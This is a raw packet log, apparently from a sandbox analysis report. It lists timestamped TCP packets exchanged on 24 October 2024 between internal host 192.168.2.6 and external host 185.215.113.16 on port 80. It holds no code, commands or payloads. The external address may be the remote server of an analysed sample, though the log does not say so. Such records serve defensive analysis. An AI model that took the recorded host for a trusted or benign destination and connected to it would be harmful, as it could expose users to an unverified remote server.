Oct 24, 2024 09:07:26.235786915 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.235805035 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.235821962 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.235824108 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.235838890 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.235853910 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.235857010 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.235874891 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.235893011 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.235892057 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.235924006 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.236547947 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.236573935 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.236591101 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.236624002 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.236670971 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.236687899 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.236704111 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.236721992 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.236738920 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.236757040 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.236777067 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.236777067 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.236778975 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.236797094 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.236815929 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.236833096 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.236850977 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.236866951 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.236891031 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.236891031 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.236892939 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.236895084 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.236906052 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.236913919 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.236923933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.236949921 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.236953020 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.236957073 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.236975908 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.237035036 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.237137079 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.237153053 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.237435102 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.237442970 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.237454891 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.237474918 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.237490892 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.237505913 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.237509012 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.237526894 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.237539053 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.237544060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.237562895 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.237579107 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.237580061 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.237596989 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.237610102 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.237616062 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.237633944 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.237653971 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.237665892 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.237682104 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.237689018 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.237705946 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.237725973 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.237730026 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.237730026 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.237752914 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.237871885 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.237896919 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.237917900 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.237946987 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.237951994 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.237981081 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.237981081 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.238137007 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.257278919 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.267354012 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.267380953 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.267394066 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.267462015 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.267474890 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.267498016 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.267498016 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.267535925 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.267549992 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.267618895 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.267633915 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.267647028 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.267657995 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.267692089 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.267714024 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.267724037 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.267735004 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.267745972 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.267775059 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.267777920 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.267791986 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.267894983 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.267896891 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.267920971 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.267936945 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.267950058 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.267957926 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.267975092 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.268050909 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.268063068 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.268074989 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.268088102 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.268115997 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.268172026 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.268174887 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.268220901 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.268234968 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.268248081 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.268310070 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.268348932 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.268364906 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.268371105 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.268378019 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.268466949 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.268477917 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.268534899 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.268537045 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.268549919 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.268570900 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.268623114 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.268659115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.268671036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.268687010 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.268688917 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.268701077 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.268713951 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.268826962 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.268836975 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.268838882 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.268848896 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.268913984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.268915892 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.268915892 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.268927097 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.268992901 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.340935946 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.340948105 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.341239929 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.341280937 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.341291904 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.341310024 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.341321945 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.341332912 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.341352940 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.341376066 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.341418982 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.341439962 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.341450930 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.341461897 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.341592073 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.341635942 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.341649055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.341792107 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.341803074 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.341814995 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.341814041 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.341828108 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.341840029 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.341968060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.341985941 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.341998100 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.342000961 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.342009068 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.342021942 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.342031002 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.342042923 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.342053890 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.342057943 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.342063904 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.342076063 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.342088938 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.342108011 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.342114925 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.342114925 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.342117071 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.342128992 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.342139959 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.342150927 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.342161894 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.342171907 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.342183113 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.342190027 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.342190027 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.342192888 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.342205048 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.342221022 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.342232943 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.342231989 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.342245102 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.342257023 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.342257023 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.342259884 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.342278004 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.342283010 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.342289925 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.342299938 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.342317104 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.342327118 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.342330933 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.342330933 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.342338085 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.342349052 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.342360973 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.342392921 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.342962027 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.343143940 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.343177080 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.343297958 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.343945026 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.384217024 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.384262085 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.384274006 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.384342909 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.384351969 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.384361982 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.384423018 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.384447098 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.384525061 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.384535074 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.384547949 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.384619951 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.384643078 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.384651899 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.384661913 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.384689093 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.384690046 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.384701967 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.384712934 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.384716034 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.384748936 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.384773016 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.384900093 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.384911060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.384948969 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.384972095 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.384983063 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.384984016 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.384994030 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.385018110 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.385019064 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.385061979 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.385073900 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.385088921 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.385138035 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.385150909 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.385162115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.385206938 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.385211945 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.385211945 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.385241985 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.385253906 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.385271072 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.385299921 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.385363102 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.385375023 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.385385990 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.385396957 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.385449886 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.385449886 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.385458946 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.385468006 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.385586977 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.385597944 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.385608912 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.385648012 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.385648012 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.385746956 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.385757923 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.385768890 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.385813951 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.385813951 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.387204885 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.387379885 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.387392044 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.387427092 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.425698996 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.425713062 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.425723076 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.425926924 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.425926924 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.458165884 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.458178043 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.458342075 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.458352089 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.458363056 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.458374023 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.458384037 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.458395958 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.458405018 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.458415031 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.458415031 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.458415031 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.458497047 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.458504915 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.458523035 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.458539009 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.458556890 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.458581924 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.458682060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.458858013 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.458867073 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.458878994 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.458928108 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.459028006 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.459034920 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.459041119 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.459044933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.459098101 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.459186077 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.459202051 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.459208012 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.459213972 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.459259033 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.459377050 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.459388971 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.459399939 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.459408998 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.459439039 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.459455967 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.459486961 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:26.459631920 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.459650993 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.459661961 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.459666967 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:26.459676981 CEST	80	49772	185.215.113.16	192.168.2.6
